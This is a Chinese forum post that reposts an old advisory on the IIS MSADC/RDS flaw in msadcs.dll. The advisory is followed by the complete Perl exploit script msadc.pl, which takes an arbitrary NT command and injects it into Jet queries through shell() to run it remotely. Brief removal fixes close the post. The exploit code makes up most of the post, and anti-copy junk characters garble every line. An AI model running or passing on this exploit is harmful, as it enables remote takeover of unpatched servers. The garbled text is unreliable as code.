社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167488阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) " TC:O^X  
[:8+ +#KD  
涉及程序: ),XDY_9K  
Microsoft NT server rmeGk&*R8  
ht2J, 1t  
描述: }aL&3[>>  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 0t%`jY~%  
upiYo(sN.  
详细: 3;F up4!4}  
如果你没有时间读详细内容的话,就删除: C(n_*8{  
c:\Program Files\Common Files\System\Msadc\msadcs.dll cUr5x8<W).  
有关的安全问题就没有了。 rPK1#  
<xUX&J=;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 NIG* }[}P  
4o<' fY  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 2%vG7o,#  
关于利用ODBC远程漏洞的描述,请参看: {_ {zs!r  
vngn^2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Y%^qt]u.8  
qVE <voB8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 R|[gEavFl  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp cH6J:0>W  
d "25e"(~F  
这里不再论述。 S5[}kfe  
:"gu=u!  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: K_%gda|l+  
HjY! ]!4p  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (w`j?c1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [I,s:mn  
yM*_"z!L  
Rbcu5.6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Jk57| )/  
T@d4NF#  
#!perl bzh:  
# )!Zm*(  
# MSADC/RDS 'usage' (aka exploit) script 0zE(:K  
# Iz8gZ:rd0  
# by rain.forest.puppy ]v l?J  
# a1z*Z/!5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  NmTo/5s  
# beta test and find errors! ZQAiuea  
vG~JK[  
use Socket; use Getopt::Std; WNSEc%  
getopts("e:vd:h:XR", \%args); J7wIA3.O  
o,'Fz?[T%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; MH=Ld=i  
p. KT=dZT  
if (!defined $args{h} && !defined $args{R}) { T:g%b @  
print qq~ *d:$vaL  
Usage: msadc.pl -h <host> { -d <delay> -X -v } d(C5i8d  
-h <host> = host you want to scan (ip or domain) e6Kyu*  
-d <seconds> = delay between calls, default 1 second R]0tG   
-X = dump Index Server path table, if available (3&P8ZGNR  
-v = verbose L=&}s[5  
-e = external dictionary file for step 5 ; jrmr`l=  
n&8SB'-r  
Or a -R will resume a command session Wa9yyc  
a~Yq0d?`D  
~; exit;} %v[KLMo'(  
D&1(qi=x&  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]xPy-j6C  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !ezy  v`  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Ks-$([_F   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); n$<n Yr`X  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6foiN W+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {Gw{W&<  
r-,u)zf"  
if (!defined $args{R}){ $ret = &has_msadc; *9 (E0"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} r |2{( +  
c"P:p%\m&u  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" @4$la'XSx  
. "cmd /c "; LeYI<a@n@$  
$in=<STDIN>; chomp $in; :(;ho.zz  
$command="cmd /c " . $in ; ut.tf \c  
&3:<WU:U  
if (defined $args{R}) {&load; exit;} =oTj3+7  
fDAT#nlyp  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 6ipQx/IQ  
&try_btcustmr; ~-'-<-  
gSkY c{b  
print "\nStep 2: Trying to make our own DSN..."; wI?AZd;`'  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :VE0eJ]J6  
);{76  
print "\nStep 3: Trying known DSNs..."; &}d5'IRT  
&known_dsn; f<>CSjQ4c  
I2z6iT4nB  
print "\nStep 4: Trying known .mdbs..."; $?u LFD  
&known_mdb; BOv^L?)*Z  
WQMoAPfqL  
if (defined $args{e}){ <4TF ]5  
print "\nStep 5: Trying dictionary of DSN names..."; B^/(wHBp  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } R,8T t!n  
PsBLAr\ah  
print "Sorry Charley...maybe next time?\n"; x[mh^V5ld  
exit; -m$2"_  
3e1%G#fu  
############################################################################## [^gb6W9Y  
&;U F,  
sub sendraw { # ripped and modded from whisker p,14'HS%@  
sleep($delay); # it's a DoS on the server! At least on mine... I7W?}bR*6  
my ($pstr)=@_; v.c.5@%%o  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *S'?u_Y7  
die("Socket problems\n"); h$p}/A  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4)Ew rU  
select(S); $|=1; q oEZ>  
print $pstr; my @in=<S>; "8E=*2fcw  
select(STDOUT); close(S); =.qPjp_Qd  
return @in; 37 *2/N2  
} else { die("Can't connect...\n"); }} X39%O'  
,_ @) IN  
############################################################################## Bnw^W _  
=KHX_ib  
sub make_header { # make the HTTP request 2\CZ"a#[  
my $msadc=<<EOT ]PB95%  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 S$/SFB$)~W  
User-Agent: ACTIVEDATA 60l!3o"p!  
Host: $ip {dlG3P='`f  
Content-Length: $clen 3U*4E?g  
Connection: Keep-Alive 0O(Vyy  
2Hk21y\  
ADCClientVersion:01.06 $F6GCM3Cx  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Ss:'H H4  
gi+FL_8CzU  
--!ADM!ROX!YOUR!WORLD! $?On,U  
Content-Type: application/x-varg y:k7eE"  
Content-Length: $reqlen S";}gw?r6  
\/9O5`u*V  
EOT .Dy2O*`  
; $msadc=~s/\n/\r\n/g; r9p ((ir  
return $msadc;} I_|W'%N]  
~I]aUN  
############################################################################## O~Svk'.)  
?gCP"~  
sub make_req { # make the RDS request v)nBp\fjxp  
my ($switch, $p1, $p2)=@_; X$eR RSW  
my $req=""; my $t1, $t2, $query, $dsn; B[5<&  
[K1z/ea)V  
if ($switch==1){ # this is the btcustmr.mdb query /a s+ TU`A  
$query="Select * from Customers where City=" . make_shell(); rd,!-w5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . )"%J~:`h}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 1";s #Jq  
<ka zV<"  
elsif ($switch==2){ # this is general make table query xPJ @!ks9  
$query="create table AZZ (B int, C varchar(10))"; L%Ms?`i,  
$dsn="$p1";} sTvw@o *  
U-D00l7C  
elsif ($switch==3){ # this is general exploit table query U"Y/PBs,  
$query="select * from AZZ where C=" . make_shell(); c/%GfB[w0  
$dsn="$p1";} n{=Ot^ ";  
\b#`Ahf`  
elsif ($switch==4){ # attempt to hork file info from index server Th4}$)yrkN  
$query="select path from scope()"; 7?8+h  
$dsn="Provider=MSIDXS;";} Ym 2Ac>I4  
q-S#[I+g  
elsif ($switch==5){ # bad query tO3#kV\,  
$query="select"; /xd|mo)D  
$dsn="$p1";} cDz^jC   
!E^\)=E)P  
$t1= make_unicode($query); XE#$|Z  
$t2= make_unicode($dsn); ycf)*0k  
$req = "\x02\x00\x03\x00"; )U{\c2b  
$req.= "\x08\x00" . pack ("S1", length($t1)); hLT?aQLx  
$req.= "\x00\x00" . $t1 ; eL [.;_  
$req.= "\x08\x00" . pack ("S1", length($t2)); $)6x3&]P  
$req.= "\x00\x00" . $t2 ; ITD&w g  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; L#fK ,r8  
return $req;} )GOio+{H  
WsT   
############################################################################## W)L*zVj~  
:W$- b  
sub make_shell { # this makes the shell() statement -4obX  
return "'|shell(\"$command\")|'";} s<5PsR  
ViU5l*n;  
############################################################################## <:!:7  
[@@EE> y  
sub make_unicode { # quick little function to convert to unicode <Vh }d/  
my ($in)=@_; my $out; ?>My&yB  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } +mYK  
return $out;} T-x}o  
9{Igw"9ck  
############################################################################## 3il$V78|  
#Fkp6`Q$x  
sub rdo_success { # checks for RDO return success (this is kludge) <&tdyAT?&  
my (@in) = @_; my $base=content_start(@in); E0.o/3Gw6  
if($in[$base]=~/multipart\/mixed/){ znAo]F9=J"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 9}+X#ma.Nc  
return 0;} B[d%?L_  
F:AVik  
############################################################################## z Ece>=C  
Lzx2An@R  
sub make_dsn { # this makes a DSN for us T&j:gg  
my @drives=("c","d","e","f"); YR[I,j  
print "\nMaking DSN: "; 9x eg,#1  
foreach $drive (@drives) { gOMy8w4>  
print "$drive: "; ^b 3nEcQn  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  vSo1WS  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" *hh9 K  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); r6It )PQ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :es=T`("A8  
return 0 if $2 eq "404"; # not found/doesn't exist Cv;#8Wj}  
if($2 eq "200") { JD9=gBN\?  
foreach $line (@results) { N;4wbUPL7h  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} @S 0mNA  
} return 0;} CtZOIx.;|  
\5j#ad  
############################################################################## #$l:%  
>` u8(  
sub verify_exists { 0 qW"b`9R  
my ($page)=@_; )[ejb?{d  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 8[#EC3  
return $results[0];} U[z2{\  
f<y3/jl4  
############################################################################## a3,A_M}M'  
Hk$do`H-=Y  
sub try_btcustmr { j.c{%UYj  
my @drives=("c","d","e","f"); x+v&3YF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [kMWsiZ  
3E}j*lo  
foreach $dir (@dirs) { 1v*N]}`HU  
print "$dir -> "; # fun status so you can see progress 5uJ!)Q  
foreach $drive (@drives) { #k,.xMJ~  
print "$drive: "; # ditto 0n\AUgVPF  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; WP'.o  
$reqlenlen=length( "$reqlen" ); "`h.8=-  
$clen= 206 + $reqlenlen + $reqlen; COj^pdE3  
;WgzR_'!'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); EA z>`~  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} <YrsS-9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} bmh@SB  
G/_xn5XDD  
############################################################################## dJ>tM'G  
8!MVDp[|"  
sub odbc_error { OHv9|&Tpl  
my (@in)=@_; my $base; V6B[eV$D  
my $base = content_start(@in); %g69kizoWi  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8Nx fYA  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0v``4z2Z  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; P G zwS  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I:1Pz|$`  
return $in[$base+4].$in[$base+5].$in[$base+6];} xpI8QV$#  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; qHPinxewx  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (3=bKcD'  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} I1JL`\;4  
E:[!)UG|y  
############################################################################## !e+Sa{X  
M~)iiKw~MY  
sub verbose { W{1l?Wo  
my ($in)=@_; 8"rK  
return if !$verbose; -![{Zb@  
print STDOUT "\n$in\n";} V0n8fez b  
$QwzL/a  
############################################################################## O2xqNQ`d  
n^nQrRIp  
sub save { Oq(FV[N7t  
my ($p1, $p2, $p3, $p4)=@_; cQ3p|a `  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; B_C."{G  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 0^6}s1d_  
close OUT;} Q |hBGH9:B  
-s ^cy+jd  
############################################################################## D;OPsNQ  
NOf{Xx<#k  
sub load { N:EljzvP}  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; =6N=5JePB  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Z{2QDjAI;  
@p=<IN>; close(IN); ,+x\NY2d  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); X@/X65=[  
$target= inet_aton($ip) || die("inet_aton problems"); Z1p%6f`  
print "Resuming to $ip ..."; w9Nk8OsL  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; D0L s~qr  
if($p[1]==1) { hMgk+4*  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Fxn=+Xgg  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; F*Ul#yX  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); i%MR<M  
if (rdo_success(@results)){print "Success!\n";} DmZ_tuVI  
else { print "failed\n"; verbose(odbc_error(@results));}} lq?N>~PG  
elsif ($p[1]==3){ X>Z83qV5d!  
if(run_query("$p[3]")){ I*pFX0+  
print "Success!\n";} else { print "failed\n"; }} Z/:W.*u  
elsif ($p[1]==4){ ?.ofs}  
if(run_query($drvst . "$p[3]")){ ^P`I"T d  
print "Success!\n"; } else { print "failed\n"; }} !:~C/B{  
exit;} QaXdO=3  
}:*?w>=  
############################################################################## SN`L@/I  
nO;ox*Bk+8  
sub create_table { }S%}%1pG7  
my ($in)=@_; m"o=R\C  
$reqlen=length( make_req(2,$in,"") ) - 28; qj^A   
$reqlenlen=length( "$reqlen" ); cca]@Ox]  
$clen= 206 + $reqlenlen + $reqlen; }IQ![T5  
my @results=sendraw(make_header() . make_req(2,$in,""));  [geT u  
return 1 if rdo_success(@results); 0|{":i_s  
my $temp= odbc_error(@results); verbose($temp); I]~s{I(EK  
return 1 if $temp=~/Table 'AZZ' already exists/; ncpA\E;ff^  
return 0;} ^5+7D1>W%  
ANR611-a  
############################################################################## [P]M)vJ**  
aw7pr464  
sub known_dsn { ,S?:lQuK5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 6K >(n  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ^plP1c:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $GVf;M2*  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); v4\ m9Pu4  
Ey_mK\'  
foreach $dSn (@dsns) { S-brV\v7  
print "."; buHUBn[3)  
next if (!is_access("DSN=$dSn")); o+\?E.%%g  
if(create_table("DSN=$dSn")){ -CPLgT  
print "$dSn successful\n"; FH;)5GGnv  
if(run_query("DSN=$dSn")){ u@zT~\ h*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Eb8z`@p  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5KssfI a  
luz,z( v  
############################################################################## vVo# nzeZ5  
4ijZQ  
sub is_access { vmW`}FKW  
my ($in)=@_; j>~ @vq  
$reqlen=length( make_req(5,$in,"") ) - 28; (e<p^T J]  
$reqlenlen=length( "$reqlen" ); `2'*E\   
$clen= 206 + $reqlenlen + $reqlen; K81&BVx/  
my @results=sendraw(make_header() . make_req(5,$in,"")); + Cq&~<B  
my $temp= odbc_error(@results); 1+-F3ROP  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); l%`~aVGJ  
return 0;} s ZokiFJ  
-Q1~lN m:  
############################################################################## ^AO2%09.S  
xCMuq9zt@  
sub run_query { 1z3I^gI*i  
my ($in)=@_; l_(4CimOZ  
$reqlen=length( make_req(3,$in,"") ) - 28; ],wzZhA  
$reqlenlen=length( "$reqlen" ); O^R ^Aw  
$clen= 206 + $reqlenlen + $reqlen; 8)J,jh9q  
my @results=sendraw(make_header() . make_req(3,$in,"")); XsMETl"Av4  
return 1 if rdo_success(@results); =I+5sCF{g  
my $temp= odbc_error(@results); verbose($temp); pf0uwXo  
return 0;} > !HC ?  
=gSACDTc  
############################################################################## ry4:i4/[  
JZ-M<rcC  
sub known_mdb { > 'JWW*Y!  
my @drives=("c","d","e","f","g"); k59.O~0V  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >k u7{1)  
my $dir, $drive, $mdb; IZ]L.0,  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ML X: S?  
oXqx]@7  
# this is sparse, because I don't know of many fy!,cK};  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -} +PE 4fh  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", vpk~,D07yR  
"\\system32\\certmdb.mdb", 1{wOjq(4  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% _?>f9K$1  
J-Fqw-<aFJ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", l`{JxVg  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Oin:5K)4-  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", +L#):xr  
"\\cfusion\\cfapps\\security\\realm_.mdb", uTP4r  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", oc&yz>%q  
"\\cfusion\\database\\cfexamples.mdb", @wXo{p@W  
"\\cfusion\\database\\cfsnippets.mdb", 6r)qM)97  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", om,=.,|Ld  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", R=HcSRTkA  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r$Y% 15JV  
"\\cfusion\\database\\smpolicy.mdb", Umk!m] q  
"\\cfusion\\database\cypress.mdb", B 6,X)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Q__1QUu  
"\\website\\cgi-win\\dbsample.mdb", i)d'l<RA  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", hC2Ra "te)  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" /?:]f  
); #these are just p5=VGKp  
foreach $drive (@drives) { eadY(-4|I-  
foreach $dir (@dirs){ 'gz@UE1  
foreach $mdb (@sysmdbs) { @nF#\  
print "."; _ "[O=h:  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ fkr; a`<W  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; LD}ZuCp!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ O.P:~  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $e![^I]`  
} else { print "Something's borked. Use verbose next time\n"; }}}}} dp>LhTLc  
j [y+'O  
foreach $drive (@drives) { (8.|q6Nww  
foreach $mdb (@mdbs) { 'I)E.DoF  
print "."; t8b,@J`R  
if(create_table($drv . $drive . $dir . $mdb)){ cBnB(t%  
print "\n" . $drive . $dir . $mdb . " successful\n"; L+" 5g@  
if(run_query($drv . $drive . $dir . $mdb)){ C)Hb=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~r>N  
} else { print "Something's borked. Use verbose next time\n"; }}}} 1)=sbFtS  
} orAEVEm  
KP!ctlP~  
############################################################################## 3`m n#RM  
9Vv&\m!0  
sub hork_idx { 8I=migaxP  
print "\nAttempting to dump Index Server tables...\n"; |;P9S  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ?QCHkhU  
$reqlen=length( make_req(4,"","") ) - 28; Y<-dd"\  
$reqlenlen=length( "$reqlen" ); 0@8EIQxK"  
$clen= 206 + $reqlenlen + $reqlen; ||k^pzj%  
my @results=sendraw2(make_header() . make_req(4,"","")); 4 5\%2un  
if (rdo_success(@results)){ _zj}i1!E"  
my $max=@results; my $c; my %d; d[I}+%{[  
for($c=19; $c<$max; $c++){ BM]sW:-v  
$results[$c]=~s/\x00//g; FA;uu\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; lO0 PZnW9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Z"G@I= Q(  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; |JH1?n  
$d{"$1$2"}="";} p)=Fi}#D\  
foreach $c (keys %d){ print "$c\n"; } Yv jRJ  
} else {print "Index server doesn't seem to be installed.\n"; }} bi[gyl#  
c>RS~/Y  
############################################################################## ~*h` ?A0  
h+h`0(z  
sub dsn_dict { p,+$7f1S  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); bPtbU :G  
while(<IN>){ QA&BNG  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 8z, |N#  
next if (!is_access("DSN=$dSn")); ?yt"  
if(create_table("DSN=$dSn")){ mam2]St"  
print "$dSn successful\n"; )fz<n$3|$#  
if(run_query("DSN=$dSn")){ CzZm C]5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 38T2IN  
print "Something's borked. Use verbose next time\n";}}} c B9`U4<  
print "\n"; close(IN);} YkLEK|d  
\[w82%U  
############################################################################## B? r[|  
nzHsyL  
sub sendraw2 { # ripped and modded from whisker Jm8#M z  
sleep($delay); # it's a DoS on the server! At least on mine... D0=H&Z[  
my ($pstr)=@_; @l:\Ka~TS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || u;*Wc9>sU  
die("Socket problems\n"); &Rx-zp&dJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ fu95-)M  
print "Connected. Getting data"; 0@ 9em~  
open(OUT,">raw.out"); my @in; NPM}w!  
select(S); $|=1; print $pstr; +LM /< l  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} k%Q>lf<e   
close(OUT); select(STDOUT); close(S); return @in; %Ot^G%34  
} else { die("Can't connect...\n"); }} %vO b"K$X  
w;(`!^xv  
############################################################################## agFWye  
I)Dd"I  
sub content_start { # this will take in the server headers lT3, G#(  
my (@in)=@_; my $c; "p~1| ?T  
for ($c=1;$c<500;$c++) { QviH+9  
if($in[$c] =~/^\x0d\x0a/){ p}NIZ)]$  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *a7&v3X  
else { return $c+1; }}} u@$C i/J*  
return -1;} # it should never get here actually b;O|-2AR  
nx >PZb  
############################################################################## +SSF=]4+  
}pa@qZXh  
sub funky { t*zBN!Wu_  
my (@in)=@_; my $error=odbc_error(@in); V[Jd1T  
if($error=~/ADO could not find the specified provider/){ D@(Y.&_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  `Up Zk?k  
exit;} {g *kr1JM  
if($error=~/A Handler is required/){ ~',<7eW  
print "\nServer has custom handler filters (they most likely are patched)\n"; =kUN ^hb  
exit;} b:nHcxDU<  
if($error=~/specified Handler has denied Access/){ i# 1:DiF  
print "\nServer has custom handler filters (they most likely are patched)\n"; <5Jp2x#  
exit;}} 0'm4 ) \  
 ajayj|h  
############################################################################## ttPa[h{!  
mzz77i  
sub has_msadc { Y,kTk  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 8qfg=mu+ %  
my $base=content_start(@results); ZgL4$%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); V11Zl{uOl  
return 0;} zM^ux!T=  
4w:_4qyb  
######################## UJ_E&7,L  
HKk;oG  
dD3I.?DY  
解决方案: Y zXL8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [}|-% 4s  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 is%qG?,P  
-< jb>8  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八